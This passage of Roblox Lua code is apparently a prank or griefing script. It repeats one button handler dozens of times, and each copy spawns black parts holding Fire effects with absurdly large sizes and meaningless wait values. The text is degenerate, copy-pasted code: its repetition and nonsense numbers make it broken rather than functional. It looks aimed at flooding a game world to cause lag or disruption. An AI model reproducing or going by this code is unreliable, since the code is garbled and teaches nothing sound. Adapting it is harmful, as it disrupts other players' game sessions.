fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
